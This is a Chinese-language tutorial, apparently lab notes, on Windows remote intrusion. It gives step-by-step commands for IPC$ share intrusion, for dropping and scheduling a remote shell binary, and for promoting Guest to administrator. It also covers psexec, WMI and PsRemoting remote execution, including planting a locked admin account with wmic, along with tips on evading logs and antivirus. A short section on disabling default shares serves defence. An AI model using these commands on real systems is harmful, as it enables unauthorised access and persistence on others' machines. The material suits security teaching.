一、经典IPC$入侵
利用ipc$和默认共享入侵远程电脑的过程
1. C:\>net use \\127.0.0.1\IPC$ "密码" /user:"用户名"
一般通过扫描弱口令来得到管理员帐号和密码
2. C:\> copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
3. C:\> net time \\127.0.0.1
查查时间,发现127.0.0.1 的当前时间是2004/6/15上午11:00。
4. C:\>at \127.0.0.1 11:05 srv.exe用at命令启动srv.exe吧
5. C:\> net time \\127.0.0.1
再查查到时间没有?如果127.0.0.1的当前时间是2004/6/15 上午11:05, 那就准备开始下面的命令。
6. C:\>telnet 127.0.0.1 99
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell.
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
7.C:\> copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上。
8. C:\WINNT\system32> ntlm
在对方计算机运行ntlm,当出现"DONE的时候,就说明已经启动正常。然后使用"net starttelnet"来开启Telnet服务!
9. Telnet 127.0.0.1, 接着输入用户名与密码就进入对方了,***作就像在DOS上****作一样简单!
10. C:\> net user guest /active:yes将对方的Guest用户激活。
11. C:\> net user guest 1234 &net localgroup administrators guest /add
将Guest的密码改为1234,将Guest变为Administrator.
防止别人用ipc$和默认共享入侵
1. 先把已有的默认共享删除(有几个删几个)
net share ipc$ /del
net share admin$ /del
net share c$ /del
2. 禁止建立空连接 首先运行regedit,找到如下主键
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ControlLSA]把RestrictAnonymous (DWORD)的键值改为: 00000001。
3. 禁止自动打开默认共享 对于server版,找到如下主键
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServerParameters]
把AutoShareServer (DWORD)的键值改为:00000000。
对于pro版,则是
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServerParameters]
把AutoShareWks (DWORD)的键值改为,00000000.
如果上面所说的主键不存在,就新建一个再改键值。
at和schtasks的比较
1. at语法:
at [\\computername] time [/interactive] [/every:date[,...]| /next:date[,..]] command
假如要在每天下午6点执行一个批处理文件,如下:
at 18:00 /interactive /every:M,T,W,Th,FS,Su d:\restart.bat
2. schtasks语法
schtasks的语法可以通过键入schtasks /?来查看
创建任务的语法可以通过schtasks /create /?来查看
想添加一个任务,在每天下午6点执行,如下
schtasks /create /tn tomcat /tr e:\restart.bat /sc daily /st 18:00
3. taskill语法
通过进程名称来杀死进程:taskkill /f /im java.exe
二、psexec类工具
PSEXEC执行原理
PSEXEC类的工具有各种语言的实现,如Metasploit的psexec psexec psh, Impacket psexec, pth-winexe, Empire Invoke-Psexec,最早Sysinternals公司pstools工具包当中的psexec.这里所指是Sysinternals的psexec,其他工具中的psexec都大同小异,用的都是都是这种思路。
PSysinternals的psexec
可以提权和执行远程命令,尤其是在域环境下,对于批量大范围的远程运维能起到很好的效果
为什么丢弃PSEXEC
psexec类工具会释放文件, 特征明显, 专业的杀毒软件都能检测到。
需要安装服务,会留下日志,并且退出时偶尔会出现服务不能删除的情况。需要开启admin$ 445端口共享。
在事后攻击溯源时,调查人员会通过日志信息来推测出你的攻击过程。但是它的优点在于,能直接给我们提供目标主机的system权限。
PSEXEC工具用法
以系统身份运行指定应用程序
Windows系统中administrator的权限不是最大的,最大的是system,很多信息只有system才能查看,比如注册表的sam信息,administrator是看不了的,如果你非要强行修改sam的权限而不顾安全的话,拿就是另外一种情况。那么现在我们要以system的身份启动regedit.exe,命令如下:
psexec -S -i regedit.exe -s就是以system身份,-i就是交互式,意思是让你看到注册表编辑器的这个窗口,不然他就在后台运行了。
创建/执行远程命令代码
执行远程进程的前提条件是对方机器必须开启默认共享ipc$以及admin$,否则无法执行。
δ在对方电脑上运行程序
C:\> psexec \\192.168.100.2 -u administrator -p 123456 -d -S calc
运行calc后返回,对方计算机上会有一个calc进程,是以系统身份运行的。窗口对方是看不到的,如果需要对方看到这个窗口,需要加参数-i。
δ在对方电脑上运行cmd命令,且不让对方看到这个窗口
C:\> psexec \\192.168.100.2 -u administrator -p 123456 -S cmd
这个命令执行成功之后,命令提示符窗口在我这边,可以直接在我这边输入命令,而命令在端执行,相当于远端应用程序虚拟化到本地,很有用。
三、利用WMI远程入侵
WMI的全称是Windows Management Instrumentation, 由一组强大的工具集合组成,用于管理本地或远程的Windows 系统。当攻击者使用wmi exec来进行攻击时,Windows 系统默认不会在日志中记录这些操作,这意味着可以做到攻击无日志,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。越来越多的APT事件中也出现了WMI攻击的影子,利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作
常见的WMI攻击工具
PTH-WMIS (最早wmi攻击的工具,单条命令执行,无回显,需要pth-smbget配合读取结果)
impackets wmiexec (Linux跨window经常用)
wmiexec. vbs (国人制造 为了回显会写文件)
Invoke-Wmi Command& Invoke -PowerShelIWmi
window本地的测试工具wmic默认情况下无法得到回显
使用winexec.vbs执行命令测试
使用impackets wmiexec执行命令测试,执行命令可以回显。在Linux跨windows渗透时经常使用
四、PsRemoting远程命令执行
PsRemoting远程命令执行基于WinRM, WinRM指的是Windows远程管理服务,它会监听http (5985) ;https (5986)端口,Windows Server2012中该功能是默认启动,但2008或2008 R2则默认是禁用的,但是不排除管理员为了方便他们对服务器进行远程管理,会将这个端口开启。
通过Enab le-PSRemoting打开PS远程管理,启动了Kerberos认证。这个方法只适合两台电脑在相同域或信任域内的指定电脑,但它不支持跨域、域外或IP地址。
如果在工作组环境中,必须设置信任,重启Winrm,才可以进行远程管理。
利用powershell渗透可以绕过杀软,绕过白名单防护设备,并且是交互式
作业一 用经典IPC$入侵方式上传文件
已知目标主机(win7)用户名密码
对目标主机进行扫描,发现存在IPC$共享
利用net命令进行入侵
把一个可执行文件上传到目标主机C:\\Windows\\system32目录
对win7进行IP配置 并关闭防火墙
对winxp 进行IP 配置 并且关闭防火墙
测试两个主机的连通性
已知管理员和密码 直接进入 复制bat到目标主机上
查询目标主机的时间 添加任务到目标主机 并设定时间
去目标主机查看是否运行 和目标主机的作业 成功运行
作业二 使用wmic命令远程执行
已知目标主机(WIN7)用户名密码。
用wmic命令对目标主机进行扫描,获取目标主机的基本信息
利用wmic命令远程建立一个管理员账户
限制用户修改该账户密码
https://www.freebuf.com/articles/system/182531.html
https://blog.csdn.net/qq_33020901/article/details/78810121
用wmic命令对目标主机进行扫描,获取目标主机的基本信息
首次使用wmic时 windows会自动安装 使用wmic命令获取目标主机的IP 和mac地址
win7上验证
查看目标主机系统中开放的共享
利用wmic命令远程建立一个管理员账户
运行cmd.exe /c后加上语句 执行单条语句
举例WMIC /Node:ComputerName Process Call Create “CMD.exe /c GPUpdate.exe /force”
可以在目标主机的用户组里看到test1用户已经被添加入管理员组
限制用户修改该账户密码
wmic useraccount where name=’hacker’ set passwordchangeable=false